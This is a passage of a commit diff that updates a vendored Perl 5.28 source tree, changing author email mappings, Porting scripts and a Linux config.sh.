++                                       info\100perl-services.de
 richard.foley\100rfi.net                richard.foley\100t-online.de
 +                                       richard.foley\100ubs.com
 +                                       richard.foley\100ubsw.com
@@ -878,6 +884,7 @@
 +                                       schwern\100athens.arena-i.com
 +                                       schwern\100blackrider.aocn.com
 +                                       schwern\100ool-18b93024.dyn.optonline.net
+scop\100cs132170.pp.htv.fi              ville.skytta\100iki.fi
 scotth\100sgi.com                       author scotth\100sgi.com 842220273 +0000
 +                                       schotth\100sgi.com
 schwab\100suse.de                       schwab\100issan.informatik.uni-dortmund.de

Modified: vendor/perl/dist/Porting/checkcfgvar.pl
===================================================================
--- vendor/perl/dist/Porting/checkcfgvar.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/checkcfgvar.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -48,6 +48,7 @@
 	   # We can't base our check on $], because that's the version of the
 	   # perl that we are running, not the version of the source tree.
 	   "Cross/config.sh-arm-linux",
+	   "Cross/config.sh-arm-linux-n770",
 	   "NetWare/config.wc",
 	   "symbian/config.sh",
 	   "uconfig.sh",

Modified: vendor/perl/dist/Porting/cmpVERSION.pl
===================================================================
--- vendor/perl/dist/Porting/cmpVERSION.pl	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/cmpVERSION.pl	2018-12-22 22:55:19 UTC (rev 12126)
@@ -81,6 +81,7 @@
 # usually because they pull in their version from some other file.
 my %skip;
 @skip{
+    'cpan/ExtUtils-Install/t/lib/MakeMaker/Test/Setup/BFD.pm', # just a test module
     'cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/BFD.pm', # just a test module
     'cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm',  # just a test module
     'cpan/IO-Compress/lib/File/GlobMapper.pm', # upstream needs to supply $VERSION
@@ -95,6 +96,8 @@
     'cpan/version/t/coretests.pm', # just a test module
     'dist/Attribute-Handlers/demo/MyClass.pm', # it's just demonstration code
     'dist/Exporter/lib/Exporter/Heavy.pm',
+    'dist/Module-CoreList/lib/Module/CoreList.pm',
+    'dist/Module-CoreList/lib/Module/CoreList/Utils.pm',
     'lib/Carp/Heavy.pm',
     'lib/Config.pm',		# no version number but contents will vary
     'win32/FindExt.pm',
@@ -169,6 +172,7 @@
 }
 
 printf "1..%d\n" => scalar keys %module_diffs if $tap;
+print "#\n# Comparing against $tag_to_compare ....\n#\n" if $tap;
 
 my $count;
 my $diff_cmd = "git --no-pager diff $tag_to_compare ";
@@ -194,9 +198,14 @@
         print "ok $count - $pm_file\n" if $tap;
     } else {
 	if ($tap) {
+            print "#\n# " . '-' x 75 . "\n"
+            . "# Version number ($pm_version) unchanged since"
+            . " $tag_to_compare, but contents have changed:\n#\n";
 	    foreach (sort @{$module_diffs{$pm_file}}) {
 		print "# $_" for `$diff_cmd $q$_$q`;
 	    }
+            print "# " . '-' x 75 . "\n";
+
 	    if (exists $skip_versions{$pm_file}
 		and grep $pm_version eq $_, @{$skip_versions{$pm_file}}) {
 		print "ok $count - SKIP $pm_file version $pm_version\n";

Modified: vendor/perl/dist/Porting/config.sh
===================================================================
--- vendor/perl/dist/Porting/config.sh	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/Porting/config.sh	2018-12-22 22:55:19 UTC (rev 12126)
@@ -8,17 +8,23 @@
 
 # Package name      : perl5
 # Source directory  : .
-# Configuration time: Sat Apr 23 12:25:12 BST 2016
-# Configured by     : aaron
-# Target system     : darwin daybreak 13.4.0 darwin kernel version 13.4.0: mon jan 11 18:17:34 pst 2016; root:xnu-2422.115.15~1release_x86_64 x86_64 i386 macbookpro11,3 darwin 
+# Configuration time: Fri Dec 22 16:17:32 GMT 2017
+# Configured by     : yourname
+# Target system     : linux barba.rous.org 3.16.0-4-amd64 #1 smp debian 3.16.43-2+deb8u2 (2017-06-26) x86_64 gnulinux 
 
 : Configure command line arguments.
-config_arg0='Configure'
-config_args='-des -Dusedevel -Dprefix=/tmp/mblead'
-config_argc=3
-config_arg1='-des'
-config_arg2='-Dusedevel'
-config_arg3='-Dprefix=/tmp/mblead'
+config_arg0='./Configure'
+config_args='-Dprefix=/opt/perl -Dcf_by=yourname -Dcf_email=yourname at yourhost.yourplace.com -Dperladmin=yourname at yourhost.yourplace.com -Dmydomain=.yourplace.com -Dmyhostname=yourhost -Duse64bitint -Dusedevel -dE'
+config_argc=9
+config_arg1='-Dprefix=/opt/perl'
+config_arg2='-Dcf_by=yourname'
+config_arg3='-Dcf_email=yourname at yourhost.yourplace.com'
+config_arg4='-Dperladmin=yourname at yourhost.yourplace.com'
+config_arg5='-Dmydomain=.yourplace.com'
+config_arg6='-Dmyhostname=yourhost'
+config_arg7='-Duse64bitint'
+config_arg8='-Dusedevel'
+config_arg9='-dE'
 
 Author=''
 Date=''
@@ -36,42 +42,41 @@
 afs='false'
 afsroot='/afs'
 alignbytes='8'
-ansi2knr=''
-aphostname='/bin/hostname'
+aphostname=''
 api_revision='5'
 api_subversion='0'
-api_version='26'
-api_versionstring='5.26.0'
+api_version='28'
+api_versionstring='5.28.0'
 ar='ar'
-archlib='/tmp/mblead/lib/perl5/5.26.0/darwin-2level'
-archlibexp='/tmp/mblead/lib/perl5/5.26.0/darwin-2level'
+archlib='/opt/perl/lib/5.28.0/x86_64-linux'
+archlibexp='/opt/perl/lib/5.28.0/x86_64-linux'
 archname64=''
-archname='darwin-2level'
+archname='x86_64-linux'
 archobjs=''
 asctime_r_proto='0'
 awk='awk'
 baserev='5.0'
 bash=''
-bin='/tmp/mblead/bin'
-bin_ELF='undef'
-binexp='/tmp/mblead/bin'
+bin='/opt/perl/bin'
+bin_ELF='define'
+binexp='/opt/perl/bin'
 bison='bison'
 byacc='byacc'
-byteorder='ffff'
+byteorder='12345678'
 c=''
 castflags='0'
 cat='cat'
 cc='cc'
-cccdlflags=' '
-ccdlflags=' '
-ccflags='-fno-common -DPERL_DARWIN -mmacosx-version-min=10.9 -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -I/opt/local/include -DPERL_USE_SAFE_PUTENV'
-ccflags_uselargefiles=''
+cccdlflags='-fPIC'
+ccdlflags='-Wl,-E'
+ccflags='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -D_FORTIFY_SOURCE=2'
+ccflags_uselargefiles='-D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64'
 ccname='gcc'
 ccsymbols=''
 ccversion=''
-cf_by='aaron'
-cf_email='aaron at daybreak.nonet'
-cf_time='Sat Apr 23 12:25:12 BST 2016'
+cf_by='yourname'
+cf_email='yourname at yourhost.yourplace.com'
+cf_time='Fri Dec 22 16:17:32 GMT 2017'
 charbits='8'
 charsize='1'
 chgrp=''
@@ -86,18 +91,18 @@
 cpp='cpp'
 cpp_stuff='42'
 cppccsymbols=''
-cppflags='-fno-common -DPERL_DARWIN -mmacosx-version-min=10.9 -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -I/opt/local/include'
+cppflags='-fwrapv -fno-strict-aliasing -pipe -fstack-protector-strong -I/usr/local/include'
 cpplast='-'
 cppminus='-'
 cpprun='cc  -E'
 cppstdin='cc  -E'
-cppsymbols='_FORTIFY_SOURCE=2 _LP64=1 __BYTE_ORDER__=1234 __GNUC_MINOR__=2 __GNUC__=4 __LITTLE_ENDIAN__=1 __LP64__=1 __MACH__=1 __PIC__=2 __STDC__=1 __amd64=1 __amd64__=1 __clang__=1 __pic__=2 __x86_64=1 __x86_64__=1'
+cppsymbols='_FILE_OFFSET_BITS=64 _LARGEFILE_SOURCE=1 _LP64=1 _POSIX_C_SOURCE=200809L _POSIX_SOURCE=1 _STDC_PREDEF_H=1 __ATOMIC_ACQUIRE=2 __ATOMIC_ACQ_REL=4 __ATOMIC_CONSUME=1 __ATOMIC_HLE_ACQUIRE=65536 __ATOMIC_HLE_RELEASE=131072 __ATOMIC_RELAXED=0 __ATOMIC_RELEASE=3 __ATOMIC_SEQ_CST=5 __BIGGEST_ALIGNMENT__=16 __BYTE_ORDER__=1234 __CHAR16_TYPE__=short\ unsigned\ int __CHAR32_TYPE__=unsigned\ int __CHAR_BIT__=8 __DBL_DECIMAL_DIG__=17 __DBL_DENORM_MIN__=((double)4.94065645841246544177e-324L) __DBL_DIG__=15 __DBL_EPSILON__=((double)2.22044604925031308085e-16L) __DBL_HAS_DENORM__=1 __DBL_HAS_INFINITY__=1 __DBL_HAS_QUIET_NAN__=1 __DBL_MANT_DIG__=53 __DBL_MAX_10_EXP__=308 __DBL_MAX_EXP__=1024 __DBL_MAX__=((double)1.79769313486231570815e+308L) __DBL_MIN_10_EXP__=(-307) __DBL_MIN_EXP__=(-1021) __DBL_MIN__=((double)2.22507385850720138309e-308L) __DEC128_EPSILON__=1E-33DL __DEC128_MANT_DIG__=34 __DEC128_MAX_EXP__=6145 __DEC128_MAX__=9.999999999999999999999999999999999E6144DL __DEC128_MIN_EXP__=(-6142) __DEC128_MIN__=1E-6143DL __DEC128_SUBNORMAL_MIN__=0.000000000000000000000000000000001E-6143DL __DEC32_EPSILON__=1E-6DF __DEC32_MANT_DIG__=7 __DEC32_MAX_EXP__=97 __DEC32_MAX__=9.999999E96DF __DEC32_MIN_EXP__=(-94) __DEC32_MIN__=1E-95DF __DEC32_SUBNORMAL_MIN__=0.000001E-95DF __DEC64_EPSILON__=1E-15DD __DEC64_MANT_DIG__=16 __DEC64_MAX_EXP__=385 __DEC64_MAX__=9.999999999999999E384DD __DEC64_MIN_EXP__=(-382) __DEC64_MIN__=1E-383DD __DEC64_SUBNORMAL_MIN__=0.000000000000001E-383DD __DECIMAL_BID_FORMAT__=1 __DECIMAL_DIG__=21 __DEC_EVAL_METHOD__=2 __ELF__=1 __FINITE_MATH_ONLY__=0 __FLOAT_WORD_ORDER__=1234 __FLT_DECIMAL_DIG__=9 __FLT_DENORM_MIN__=1.40129846432481707092e-45F __FLT_DIG__=6 __FLT_EPSILON__=1.19209289550781250000e-7F __FLT_EVAL_METHOD__=0 __FLT_HAS_DENORM__=1 __FLT_HAS_INFINITY__=1 __FLT_HAS_QUIET_NAN__=1 __FLT_MANT_DIG__=24 __FLT_MAX_10_EXP__=38 __FLT_MAX_EXP__=128 __FLT_MAX__=3.40282346638528859812e+38F __FLT_MIN_10_EXP__=(-37) __FLT_MIN_EXP__=(-125) __FLT_MIN__=1.17549435082228750797e-38F __FLT_RADIX__=2 __FXS!
 R__=1 __GCC_ATOMIC_BOOL_LOCK_FREE=2 __GCC_ATOMIC_CHAR16_T_LOCK_FREE=2 __GCC_ATOMIC_CHAR32_T_LOCK_FREE=2 __GCC_ATOMIC_CHAR_LOCK_FREE=2 __GCC_ATOMIC_INT_LOCK_FREE=2 __GCC_ATOMIC_LLONG_LOCK_FREE=2 __GCC_ATOMIC_LONG_LOCK_FREE=2 __GCC_ATOMIC_POINTER_LOCK_FREE=2 __GCC_ATOMIC_SHORT_LOCK_FREE=2 __GCC_ATOMIC_TEST_AND_SET_TRUEVAL=1 __GCC_ATOMIC_WCHAR_T_LOCK_FREE=2 __GCC_HAVE_DWARF2_CFI_ASM=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_1=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_2=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4=1 __GCC_HAVE_SYNC_COMPARE_AND_SWAP_8=1 __GCC_IEC_559=2 __GCC_IEC_559_COMPLEX=2 __GLIBC_MINOR__=19 __GLIBC__=2 __GNUC_GNU_INLINE__=1 __GNUC_MINOR__=9 __GNUC_PATCHLEVEL__=2 __GNUC__=4 __GNU_LIBRARY__=6 __GXX_ABI_VERSION=1002 __INT16_C=__INT16_C __INT16_MAX__=32767 __INT16_TYPE__=short\ int __INT32_C=__INT32_C __INT32_MAX__=2147483647 __INT32_TYPE__=int __INT64_C=__INT64_C __INT64_MAX__=9223372036854775807L __INT64_TYPE__=long\ int __INT8_C=__INT8_C __INT8_MAX__=127 __INT8_TYPE__=signed\ char __INTMAX_C=__INTMAX_C __INTMAX_MAX__=9223372036854775807L __INTMAX_TYPE__=long\ int __INTPTR_MAX__=9223372036854775807L __INTPTR_TYPE__=long\ int __INT_FAST16_MAX__=9223372036854775807L __INT_FAST16_TYPE__=long\ int __INT_FAST32_MAX__=9223372036854775807L __INT_FAST32_TYPE__=long\ int __INT_FAST64_MAX__=9223372036854775807L __INT_FAST64_TYPE__=long\ int __INT_FAST8_MAX__=127 __INT_FAST8_TYPE__=signed\ char __INT_LEAST16_MAX__=32767 __INT_LEAST16_TYPE__=short\ int __INT_LEAST32_MAX__=2147483647 __INT_LEAST32_TYPE__=int __INT_LEAST64_MAX__=9223372036854775807L __INT_LEAST64_TYPE__=long\ int __INT_LEAST8_MAX__=127 __INT_LEAST8_TYPE__=signed\ char __INT_MAX__=2147483647 __LDBL_DENORM_MIN__=3.64519953188247460253e-4951L __LDBL_DIG__=18 __LDBL_EPSILON__=1.08420217248550443401e-19L __LDBL_HAS_DENORM__=1 __LDBL_HAS_INFINITY__=1 __LDBL_HAS_QUIET_NAN__=1 __LDBL_MANT_DIG__=64 __LDBL_MAX_10_EXP__=4932 __LDBL_MAX_EXP__=16384 __LDBL_MAX__=1.18973149535723176502e+4932L __LDBL_MIN_10_EXP__=(-4931) __LDBL_MIN_EXP__=(-16381) __LDBL_MIN__=3.36210314311209350626!
 e-4932L __LONG_LONG_MAX__=9223372036854775807LL __LONG_MAX__=9223372036854775807L __LP64__=1 __MMX__=1 __ORDER_BIG_ENDIAN__=4321 __ORDER_LITTLE_ENDIAN__=1234 __ORDER_PDP_ENDIAN__=3412 __PRAGMA_REDEFINE_EXTNAME=1 __PTRDIFF_MAX__=9223372036854775807L __PTRDIFF_TYPE__=long\ int __REGISTER_PREFIX__= __SCHAR_MAX__=127 __SHRT_MAX__=32767 __SIG_ATOMIC_MAX__=2147483647 __SIG_ATOMIC_MIN__=(-2147483647\ -\ 1) __SIG_ATOMIC_TYPE__=int __SIZEOF_DOUBLE__=8 __SIZEOF_FLOAT__=4 __SIZEOF_INT128__=16 __SIZEOF_INT__=4 __SIZEOF_LONG_DOUBLE__=16 __SIZEOF_LONG_LONG__=8 __SIZEOF_LONG__=8 __SIZEOF_POINTER__=8 __SIZEOF_PTRDIFF_T__=8 __SIZEOF_SHORT__=2 __SIZEOF_SIZE_T__=8 __SIZEOF_WCHAR_T__=4 __SIZEOF_WINT_T__=4 __SIZE_MAX__=18446744073709551615UL __SIZE_TYPE__=long\ unsigned\ int __SSE2_MATH__=1 __SSE2__=1 __SSE_MATH__=1 __SSE__=1 __STDC_HOSTED__=1 __STDC_IEC_559_COMPLEX__=1 __STDC_IEC_559__=1 __STDC_ISO_10646__=201103L __STDC_NO_THREADS__=1 __STDC__=1 __UINT16_C=__UINT16_C __UINT16_MAX__=65535 __UINT16_TYPE__=short\ unsigned\ int __UINT32_C=__UINT32_C __UINT32_MAX__=4294967295U __UINT32_TYPE__=unsigned\ int __UINT64_C=__UINT64_C __UINT64_MAX__=18446744073709551615UL __UINT64_TYPE__=long\ unsigned\ int __UINT8_C=__UINT8_C __UINT8_MAX__=255 __UINT8_TYPE__=unsigned\ char __UINTMAX_C=__UINTMAX_C __UINTMAX_MAX__=18446744073709551615UL __UINTMAX_TYPE__=long\ unsigned\ int __UINTPTR_MAX__=18446744073709551615UL __UINTPTR_TYPE__=long\ unsigned\ int __UINT_FAST16_MAX__=18446744073709551615UL __UINT_FAST16_TYPE__=long\ unsigned\ int __UINT_FAST32_MAX__=18446744073709551615UL __UINT_FAST32_TYPE__=long\ unsigned\ int __UINT_FAST64_MAX__=18446744073709551615UL __UINT_FAST64_TYPE__=long\ unsigned\ int __UINT_FAST8_MAX__=255 __UINT_FAST8_TYPE__=unsigned\ char __UINT_LEAST16_MAX__=65535 __UINT_LEAST16_TYPE__=short\ unsigned\ int __UINT_LEAST32_MAX__=4294967295U __UINT_LEAST32_TYPE__=unsigned\ int __UINT_LEAST64_MAX__=18446744073709551615UL __UINT_LEAST64_TYPE__=long\ unsigned\ int __UINT_LEAST8_MAX__=255 __UINT_LEAST8_TYPE__=unsigned\ char __USER_LABEL!
 _PREFIX__= __USE_BSD=1 __USE_FILE_OFFSET64=1 __USE_LARGEFILE=1 __USE_MISC=1 __USE_POSIX199309=1 __USE_POSIX199506=1 __USE_POSIX2=1 __USE_POSIX=1 __USE_SVID=1 __VERSION__="4.9.2" __WCHAR_MAX__=2147483647 __WCHAR_MIN__=(-2147483647\ -\ 1) __WCHAR_TYPE__=int __WINT_MAX__=4294967295U __WINT_MIN__=0U __WINT_TYPE__=unsigned\ int __amd64=1 __amd64__=1 __code_model_small__=1 __gnu_linux__=1 __has_include=__has_include __has_include_next=__has_include_next __k8=1 __k8__=1 __linux=1 __linux__=1 __unix=1 __unix__=1 __x86_64=1 __x86_64__=1 linux=1 unix=1'
 crypt_r_proto='0'
 cryptlib=''
 csh='csh'
 ctermid_r_proto='0'
 ctime_r_proto='0'
-d_Gconvert='sprintf((b),"%.*g",(n),(x))'
+d_Gconvert='gcvt((x),(n),(b))'
 d_PRIEUldbl='define'
 d_PRIFUldbl='define'
 d_PRIGUldbl='define'
@@ -112,6 +117,7 @@
 d_PRIx64='define'
 d_SCNfldbl='define'
 d__fwalk='undef'
+d_accept4='define'
 d_access='define'
 d_accessx='undef'
 d_acosh='define'
@@ -133,24 +139,23 @@
 d_attribute_unused='define'
 d_attribute_warn_unused_result='define'
 d_backtrace='define'
-d_bcmp='define'
-d_bcopy='define'
-d_bsd='define'
+d_bsd='undef'
 d_bsdgetpgrp='undef'
 d_bsdsetpgrp='undef'
+d_builtin_add_overflow='undef'
 d_builtin_choose_expr='define'
 d_builtin_expect='define'
-d_bzero='define'
+d_builtin_mul_overflow='undef'
+d_builtin_sub_overflow='undef'
 d_c99_variadic_macros='define'
 d_casti32='undef'
 d_castneg='define'
 d_cbrt='define'
-d_charvspr='undef'
 d_chown='define'
 d_chroot='define'
 d_chsize='undef'
 d_class='undef'
-d_clearenv='undef'
+d_clearenv='define'
 d_closedir='define'
 d_cmsghdr_s='define'
 d_const='define'
@@ -164,14 +169,13 @@
 d_ctermid_r='undef'
 d_ctime64='undef'
 d_ctime_r='undef'
-d_cuserid='undef'
-d_dbl_dig='define'
-d_dbminitproto='undef'
+d_cuserid='define'
+d_dbminitproto='define'
 d_difftime64='undef'
 d_difftime='define'
 d_dir_dd_fd='undef'
 d_dirfd='define'
-d_dirnamlen='define'
+d_dirnamlen='undef'
 d_dladdr='define'
 d_dlerror='define'
 d_dlopen='define'
@@ -188,8 +192,9 @@
 d_drand48_r='undef'
 d_drand48proto='define'
 d_dup2='define'
+d_dup3='define'
 d_duplocale='define'
-d_eaccess='undef'
+d_eaccess='define'
 d_endgrent='define'
 d_endgrent_r='undef'
 d_endhent='define'
@@ -211,6 +216,7 @@
 d_faststdio='define'
 d_fchdir='define'
 d_fchmod='define'
+d_fchmodat='define'
 d_fchown='define'
 d_fcntl='define'
 d_fcntl_can_lock='define'
@@ -218,11 +224,11 @@
 d_fd_set='define'
 d_fdclose='undef'
 d_fdim='define'
-d_fds_bits='define'
+d_fds_bits='undef'
 d_fegetround='define'
 d_fgetpos='define'
-d_finite='undef'
-d_finitel='undef'
+d_finite='define'
+d_finitel='define'
 d_flexfnam='define'
 d_flock='define'
 d_flockproto='define'
@@ -250,13 +256,13 @@
 d_ftello='define'
 d_ftime='undef'
 d_futimes='define'
-d_gai_strerror='undef'
+d_gai_strerror='define'
 d_gdbm_ndbm_h_uses_prototypes='undef'
 d_gdbmndbm_h_uses_prototypes='undef'
 d_getaddrinfo='define'
 d_getcwd='define'
 d_getespwnam='undef'
-d_getfsstat='define'
+d_getfsstat='undef'
 d_getgrent='define'
 d_getgrent_r='undef'
 d_getgrgid_r='undef'
@@ -274,7 +280,7 @@
 d_getlogin='define'
 d_getlogin_r='undef'
 d_getmnt='undef'
-d_getmntent='undef'
+d_getmntent='define'
 d_getnameinfo='define'
 d_getnbyaddr='define'
 d_getnbyname='define'
@@ -308,20 +314,19 @@
 d_getservbyport_r='undef'
 d_getservent_r='undef'
 d_getservprotos='define'
-d_getspnam='undef'
+d_getspnam='define'
 d_getspnam_r='undef'
 d_gettimeod='define'
 d_gmtime64='undef'
 d_gmtime_r='undef'
-d_gnulibc='undef'
+d_gnulibc='define'
 d_grpasswd='define'
-d_hasmntopt='undef'
+d_hasmntopt='define'
 d_htonl='define'
 d_hypot='define'
 d_ilogb='define'
 d_ilogbl='define'
 d_inc_version_list='undef'
-d_index='undef'
 d_inetaton='define'
 d_inetntop='define'
 d_inetpton='define'
@@ -335,13 +340,13 @@
 d_isfinite='define'
 d_isfinitel='undef'
 d_isinf='define'
-d_isinfl='undef'
+d_isinfl='define'
 d_isless='undef'
 d_isnan='define'
-d_isnanl='undef'
+d_isnanl='define'
 d_isnormal='define'
 d_j0='define'
-d_j0l='undef'
+d_j0l='define'
 d_killpg='define'
 d_lc_monetary_2008='define'
 d_lchown='define'
@@ -349,13 +354,15 @@
 d_ldexpl='define'
 d_lgamma='define'
 d_lgamma_r='define'
-d_libm_lib_version='undef'
+d_libm_lib_version='define'
 d_libname_unique='undef'
 d_link='define'
+d_linkat='define'
 d_llrint='define'
 d_llrintl='define'
 d_llround='define'
 d_llroundl='define'
+d_localeconv_l='undef'
 d_localtime64='undef'
 d_localtime_r='undef'
 d_localtime_r_needs_tzset='undef'
@@ -364,7 +371,7 @@
 d_log1p='define'
 d_log2='define'
 d_logb='define'
-d_long_double_style_ieee='undef'
+d_long_double_style_ieee='define'
 d_long_double_style_ieee_doubledouble='undef'
 d_long_double_style_ieee_extended='define'
 d_long_double_style_ieee_std='undef'
@@ -378,20 +385,19 @@
 d_lseekproto='define'
 d_lstat='define'
 d_madvise='define'
-d_malloc_good_size='define'
-d_malloc_size='define'
+d_malloc_good_size='undef'
+d_malloc_size='undef'
 d_mblen='define'
+d_mbrlen='define'
+d_mbrtowc='define'
 d_mbstowcs='define'
 d_mbtowc='define'
-d_memchr='define'
-d_memcmp='define'
-d_memcpy='define'
 d_memmem='define'
-d_memmove='define'
-d_memset='define'
+d_memrchr='define'
 d_mkdir='define'
 d_mkdtemp='define'
 d_mkfifo='define'
+d_mkostemp='define'
 d_mkstemp='define'
 d_mkstemps='define'
 d_mktime64='undef'
@@ -405,7 +411,7 @@
 d_msg_dontroute='define'
 d_msg_oob='define'
 d_msg_peek='define'
-d_msg_proxy='undef'
+d_msg_proxy='define'
 d_msgctl='define'
 d_msgget='define'
 d_msghdr_s='define'
@@ -415,8 +421,9 @@
 d_munmap='define'
 d_mymalloc='undef'
 d_nan='define'
+d_nanosleep='define'
 d_ndbm='define'
-d_ndbm_h_uses_prototypes='define'
+d_ndbm_h_uses_prototypes='undef'
 d_nearbyint='define'
 d_newlocale='define'
 d_nextafter='define'
@@ -430,31 +437,33 @@
 d_oldpthreads='undef'
 d_oldsock='undef'
 d_open3='define'
+d_openat='define'
 d_pathconf='define'
 d_pause='define'
 d_perl_otherlibdirs='undef'
 d_phostname='undef'
+d_pipe2='define'
 d_pipe='define'
-d_poll='undef'
+d_poll='define'
 d_portable='define'
-d_prctl='undef'
-d_prctl_set_name='undef'
-d_printf_format_null='define'
-d_procselfexe='undef'
+d_prctl='define'
+d_prctl_set_name='define'
+d_printf_format_null='undef'
+d_procselfexe='define'
 d_pseudofork='undef'
 d_pthread_atfork='define'
 d_pthread_attr_setscope='define'
-d_pthread_yield='undef'
+d_pthread_yield='define'
 d_ptrdiff_t='define'
 d_pwage='undef'
-d_pwchange='define'
-d_pwclass='define'
+d_pwchange='undef'
+d_pwclass='undef'
 d_pwcomment='undef'
-d_pwexpire='define'
+d_pwexpire='undef'
 d_pwgecos='define'
 d_pwpasswd='define'
 d_pwquota='undef'
-d_qgcvt='undef'
+d_qgcvt='define'
 d_quad='define'
 d_querylocale='undef'
 d_random_r='undef'
@@ -470,13 +479,11 @@
 d_remainder='define'
 d_remquo='define'
 d_rename='define'
+d_renameat='define'
 d_rewinddir='define'
 d_rint='define'
 d_rmdir='define'
 d_round='define'
-d_safebcpy='undef'
-d_safemcpy='undef'
-d_sanemcmp='define'
 d_sbrkproto='define'
 d_scalbn='define'
 d_scalbnl='define'
@@ -514,11 +521,11 @@
 d_setpwent='define'
 d_setpwent_r='undef'
 d_setregid='define'
-d_setresgid='undef'
-d_setresuid='undef'
+d_setresgid='define'
+d_setresuid='define'
 d_setreuid='define'
-d_setrgid='define'
-d_setruid='define'
+d_setrgid='undef'
+d_setruid='undef'
 d_setsent='define'
 d_setservent_r='undef'
 d_setsid='define'
@@ -533,7 +540,7 @@
 d_siginfo_si_addr='define'
 d_siginfo_si_band='define'
 d_siginfo_si_errno='define'
-d_siginfo_si_fd='undef'
+d_siginfo_si_fd='define'
 d_siginfo_si_pid='define'
 d_siginfo_si_status='define'
 d_siginfo_si_uid='define'
@@ -545,7 +552,7 @@
 d_sitearch='define'
 d_snprintf='define'
 d_sockaddr_in6='define'
-d_sockaddr_sa_len='define'
+d_sockaddr_sa_len='undef'
 d_sockatmark='define'
 d_sockatmarkproto='define'
 d_socket='define'
@@ -552,7 +559,6 @@
 d_socklen_t='define'
 d_sockpair='define'
 d_socks5_init='undef'
-d_sprintf_returns_strlen='define'
 d_sqrtl='define'
 d_srand48_r='undef'
 d_srandom_r='undef'
@@ -564,26 +570,25 @@
 d_statfs_s='define'
 d_static_inline='define'
 d_statvfs='define'
-d_stdio_cnt_lval='define'
+d_stdio_cnt_lval='undef'
 d_stdio_ptr_lval='define'
-d_stdio_ptr_lval_nochange_cnt='define'
-d_stdio_ptr_lval_sets_cnt='undef'
+d_stdio_ptr_lval_nochange_cnt='undef'
+d_stdio_ptr_lval_sets_cnt='define'
 d_stdio_stream_array='undef'
 d_stdiobase='define'
 d_stdstdio='define'
-d_strchr='define'
 d_strcoll='define'
-d_strctcpy='define'
-d_strerrm='strerror(e)'
-d_strerror='define'
-d_strerror_l='undef'
+d_strerror_l='define'
 d_strerror_r='undef'
 d_strftime='define'
-d_strlcat='define'
-d_strlcpy='define'
+d_strlcat='undef'
+d_strlcpy='undef'
+d_strnlen='define'
 d_strtod='define'
+d_strtod_l='undef'
 d_strtol='define'
 d_strtold='define'
+d_strtold_l='define'
 d_strtoll='define'
 d_strtoq='define'
 d_strtoul='define'
@@ -603,6 +608,7 @@
 d_telldir='define'
 d_telldirproto='define'
 d_tgamma='define'
+d_thread_safe_nl_langinfo_l='undef'
 d_time='define'
 d_timegm='define'
 d_times='define'
@@ -618,23 +624,22 @@
 d_ualarm='define'
 d_umask='define'
 d_uname='define'
-d_union_semun='define'
+d_union_semun='undef'
+d_unlinkat='define'
 d_unordered='undef'
 d_unsetenv='define'
 d_uselocale='define'
 d_usleep='define'
 d_usleepproto='define'
-d_ustat='undef'
+d_ustat='define'
 d_vendorarch='undef'
 d_vendorbin='undef'
 d_vendorlib='undef'
 d_vendorscript='undef'
-d_vfork='define'
+d_vfork='undef'
 d_void_closedir='undef'
 d_voidsig='define'
 d_voidtty=''
-d_volatile='define'
-d_vprintf='define'
 d_vsnprintf='define'
 d_wait4='define'
 d_waitpid='define'
@@ -645,14 +650,14 @@
 d_writev='define'
 d_xenix='undef'
 date='date'
-db_hashtype='int'
-db_prefixtype='int'
-db_version_major='1'
-db_version_minor='0'
-db_version_patch='0'
-default_inc_excludes_dot='undef'
+db_hashtype='u_int32_t'
+db_prefixtype='size_t'
+db_version_major='5'
+db_version_minor='1'
+db_version_patch='29'
+default_inc_excludes_dot='define'
 direntrytype='struct dirent'
-dlext='bundle'
+dlext='so'
 dlsrc='dl_dlopen.xs'
 doubleinfbytes='0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f'
 doublekind='3'
@@ -663,7 +668,8 @@
 drand48_r_proto='0'
 dtrace=''
 dtraceobject=''
-dynamic_ext='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared'
+dtracexnolibs=''
+dynamic_ext='B Compress/Raw/Bzip2 Compress/Raw/Zlib Cwd DB_File Data/Dumper Devel/PPPort Devel/Peek Digest/MD5 Digest/SHA Encode Fcntl File/DosGlob File/Glob Filter/Util/Call GDBM_File Hash/Util Hash/Util/FieldHash I18N/Langinfo IO IPC/SysV List/Util MIME/Base64 Math/BigInt/FastCalc NDBM_File ODBM_File Opcode POSIX PerlIO/encoding PerlIO/mmap PerlIO/scalar PerlIO/via SDBM_File Socket Storable Sys/Hostname Sys/Syslog Tie/Hash/NamedCapture Time/HiRes Time/Piece Unicode/Collate Unicode/Normalize XS/APItest XS/Typemap arybase attributes mro re threads threads/shared'
 eagain='EAGAIN'
 ebcdic='undef'
 echo='echo'
@@ -678,24 +684,24 @@
 eunicefix=':'
 exe_ext=''
 expr='expr'
